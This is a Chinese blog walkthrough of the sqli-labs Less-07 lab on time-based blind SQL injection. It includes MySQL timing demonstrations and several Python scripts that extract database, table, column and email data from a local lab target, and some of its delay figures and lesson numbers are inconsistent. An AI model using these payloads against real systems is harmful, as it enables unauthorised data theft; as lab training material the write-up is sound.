sqli-labs Less-07 通关笔记

blog 35

确认注入点

尝试传入?id=1a发现页面有数据回显,那么可以判断,该注入类型为字符型注入,再次尝试传入?id=1a'发现页面并没有任何数据回显,那么我们可以断定,是影响到了sql查询语句,从而发生了报错。于是返回为空。

再次尝试传入:

?id=1a' and 1 = 1 %23       # 有数据回显
?id=1a' and 1 = 2 %23       # 无数据回显
sqli-labs Less-07 通关笔记

通过查看页面源代码发现,可以使用时间盲注和布尔注入,但是不能使用报错注入了,因为这里将sql查询的报错回显给注释掉了。

sqli-labs Less-07 通关笔记

时间盲注获取数据

在mysql中有一个叫sleep(n)的函数,该函数可以让mysql暂时睡眠N秒。

mysql> select sleep(3);
+----------+
| sleep(3) |
+----------+
|        0 |
+----------+
1 row in set (3.01 sec)

那么我们可以通过if判断返回为真假的形式,去执行不同的操作。

if语句的参数: if(条件表达式,表达式为真执行的语句,表达式为假执行的语句),只要条件表达式返回不为0,那么最终的结果就为true.

mysql> select if((select version()),sleep(2),0);
+-----------------------------------+
| if((select version()),sleep(2),0) |
+-----------------------------------+
|                                 0 |
+-----------------------------------+
1 row in set, 1 warning (2.01 sec)   # 为true,所以返回sleep(2)
​
mysql> select if(0,sleep(2),0);
+------------------+
| if(0,sleep(2),0) |
+------------------+
|                0 |
+------------------+
1 row in set (0.00 sec)   # 为False 所以返回0

那么我们使用if语句配合我们的substr截取比较。通过是否延时来判断真假。

use security;  # 进入到security数据库
select if(substr((select database()),1,1) = 'a',sleep(2),0); # 无延迟
select if(substr((select database()),1,1) = 'b',sleep(2),0); # 无延迟
select if(substr((select database()),1,1) = 'c',sleep(2),0); # 无延迟
... 
select if(substr((select database()),1,1) = 's',sleep(2),0); # 有延迟

但是这种效率并不高,非常的慢。而且遇到有些特殊字符,就不能正确的做比较。那么我们可以使用ascii()函数,将substr()截取得到的结果,作为ascii()的参数,之后再使用 >< 以及 = 去比较它。

use security; # 进入到security数据库
select if(ascii(substr((select database()),1,1)) > 115,sleep(2),0);  # 有延时
select if(ascii(substr((select database()),1,1)) > 113,sleep(2),0);  # 有延时
select if(ascii(substr((select database()),1,1)) > 114,sleep(2),0); # 有延时
​
select if(ascii(substr((select database()),1,1)) = 115,sleep(2),0);  # 有延时

大于115没有延时,但是大于114有延时,因此可以得知当前第一个字符等于115

判断数据库名称的长度

构造语句:

?id=-1' or if(length(database()) > 6,sleep(1),0) %23   # 有延时
?id=-1' or if(length(database()) > 8,sleep(1),0) %23   # 无延时
?id=-1' or if(length(database()) > 7,sleep(1),0) %23   # 有延时

数据库的长度大于8没有延时,但是大于7有延时。所以我们可以肯定数据库名的长度等于8。这里延时了26秒,为什么我们sleep(2)却延迟26秒呢?

这个跟mysql的and 和 or的工作机制有关:

我们来看如下例题:

mysql> select host,user,authentication_string from mysql.user where user='root';  # 有三列数据
+-----------+------+-------------------------------------------+
| host      | user | authentication_string                     |
+-----------+------+-------------------------------------------+
| %         | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| 127.0.0.1 | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| ::1       | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+-----------+------+-------------------------------------------+
3 rows in set (0.00 sec)
​
mysql> select host,user,authentication_string from mysql.user where user='root' and sleep(5);
Empty set (15.01 sec)   # 延时了15秒

比如where user='root', mysql会先查询满足where user='root'的结果集,暂且将这个结果集命名为A,B就是我们的sleep(5),也就是where A and B假设A返回的结果为1,然后从A结果集中查询满足B的: select * from 结果集A where B,由于满足user='root'的结果集中包含3条数据,所以sleep(5)被执行了三次。

第二个例题:

mysql> select host,user,authentication_string from mysql.user;
+-----------+---------------+-------------------------------------------+
| host      | user          | authentication_string                     |
+-----------+---------------+-------------------------------------------+
| %         | root          | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| %         | mysql.session | 0                                         |
| %         | mysql.sys     | 0                                         |
| %         | mamp          | 0                                         |
| 127.0.0.1 | root          | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| ::1       | root          | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| %         | admin         |                                           |
| localhost | admin         | *4ACFE3202A5FF5CF467898FC58AAB1D615029441 |
| %         | pi_user       | *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 |
+-----------+---------------+-------------------------------------------+
9 rows in set (0.00 sec) 
​
mysql> select host,user,authentication_string from mysql.user where user='pi_user' or sleep(5);
+------+---------+-------------------------------------------+
| host | user    | authentication_string                     |
+------+---------+-------------------------------------------+
| %    | pi_user | *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 |
+------+---------+-------------------------------------------+
1 row in set (40.04 sec)  # 延时40秒

这里的user='pi_user'可以将它看作为A,那么sleep(5),可以把它看做B,也就是where A or B,mysql会先查询出非A的结果集,也就是select * from users where not A,那么根据上表得知,非user='pi_user'的数据有8条,然后再从结果集A中查询非B的结果集: select * from 结果集A where not B。

最后一步就是会从user表中,查询非结果B的结果集:

select * from user where not 结果集1;

我们构造的环境中user != 'pi_user'的有8条,所以sleep会延迟8秒。

总结: or 逻辑运算符会遍历每个表的数据,假设如下语句: 会先将or前面的语句非id=1的数据取出。然后与or后面的进行比较。由于前面他们的id不等于1,所以会走or后面的sleep()继续判断,从而达到延时的效果。

我们的users表中有13列。有12列非id=1的。所以会走or后面的sleep()进行判断,从而延时24秒。

select * from security.users where id= 1 or if(ascii(substr((select database()),1,1)) > 110,sleep(2),0);

获取当前使用的数据库名

编写exp:

import requests
​
url = 'http://localhost/sql/Less-8/'
data_len = 0
data_name = ''
​
while True:
    start = 32  # ascii的32到126包含了大小写字母、数字、常用的特殊符号
    end = 126
    while start < end:
        tmp = (start + end) // 2 # 二分法
        payload = "?id=-1' or if(ascii(substr((select database()),{},1)) > {},sleep(1),0) %23".format(data_len + 1,tmp)
        
        # 如果这里延时超过了三秒,我们就执行except的内容。
        try:
            res = requests.get(url+payload,timeout=3)
            end = tmp
            tmp = (start + end) // 2
        except Exception as e:
            start = tmp + 1
            tmp = (start + end) // 2
    if(start != 32):
        data_name += chr(tmp)
        data_len += 1
    else:
        break
    print(data_name)

运行结果:

sqli-labs Less-07 通关笔记

正常情况下,这里要是手工注入的话,每次判断需要延迟13秒,也就是等待13秒。但是我们可以指定timeout参数即超时的时间,只要是超时了timeout指定的秒,那么我就可以判断你这里延时了。

timeout超时的话,会排除Exception错误。

大家一般可能是这样写的:

start_time = int(time.time())
requests.get(url)
end_time = int(time.time())
​
if (end_time - start) > 3:
    print('延时发生了')

这样的写法,效率并不高,假设我们判断一次延时了100000秒呢?也就是1562分钟,也就是26个小时。倘若延时更长呢?恐怕falgdump出来,比赛就要结束了吧。

那么我们就可以使用timeout,不管你延时多长时间,你要你的延时超过了我指定的时间,那么我就可以得知,你延时了。

获取当前数据库下的所有数据库名

构造exp:

在上个exp的基础上,只要修改payload即可:

import requests
​
url = 'http://localhost/sql/Less-8/'
data_len = 0
data_name = ''
​
while True:
    start = 32
    end = 126
    while start < end:
        tmp = (start + end) // 2
        payload = "?id=-1' or if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1)) > {},sleep(1),0) %23".format(data_len + 1,tmp)
        try:
            res = requests.get(url+payload,timeout=3)
            end = tmp
            tmp = (start + end) // 2
        except Exception as e:
            start = tmp + 1
            tmp = (start + end) // 2
    if(start != 32):
        data_name += chr(tmp)
        data_len += 1
    else:
        break
    print(data_name)

运行效果:

sqli-labs Less-07 通关笔记

这里没让他运行完成,就截图了,毕竟运行完需要一段时间。

获取当前数据库下的所有数据表

构造exp:

import requests
​
url = 'http://localhost/sql/Less-8/'
data_len = 0
data_name = ''
​
while True:
    start = 32
    end = 126
    while start < end:
        tmp = (start + end) // 2
        payload = "?id=-1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)) > {},sleep(1),0) %23".format(data_len + 1,tmp)
        try:
            res = requests.get(url+payload,timeout=3)
            end = tmp
            tmp = (start + end) // 2
        except Exception as e:
            start = tmp + 1
            tmp = (start + end) // 2
    if(start != 32):
        data_name += chr(tmp)
        data_len += 1
    else:
        break
    print(data_name)

运行效果:

sqli-labs Less-07 通关笔记

获取emails的列名

编写exp:

import requests
​
url = 'http://localhost/sql/Less-8/'
data_len = 0
data_name = ''
​
while True:
    start = 32
    end = 126
    while start < end:
        tmp = (start + end) // 2
        payload = "?id=-1' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails'),{},1)) > {},sleep(1),0) %23".format(data_len + 1,tmp)
        try:
            res = requests.get(url+payload,timeout=3)
            end = tmp
            tmp = (start + end) // 2
        except Exception as e:
            start = tmp + 1
            tmp = (start + end) // 2
    if(start != 32):
        data_name += chr(tmp)
        data_len += 1
    else:
        break
    print(data_name)

运行结果:

sqli-labs Less-07 通关笔记

获取emails表的数据

import requests
​
url = 'http://localhost/sql/Less-8/'
data_len = 0
data_name = ''
​
while True:
    start = 32
    end = 126
    while start < end:
        tmp = (start + end) // 2
        payload = "?id=-1' or if(ascii(substr((select group_concat(id,0x7e,email_id) from security.emails),{},1)) > {},sleep(1),0) %23".format(data_len + 1,tmp)
        try:
            res = requests.get(url+payload,timeout=3)
            end = tmp
            tmp = (start + end) // 2
        except Exception as e:
            start = tmp + 1
            tmp = (start + end) // 2
    if(start != 32):
        data_name += chr(tmp)
        data_len += 1
    else:
        break
    print(data_name)

运行效果:

sqli-labs Less-07 通关笔记

分享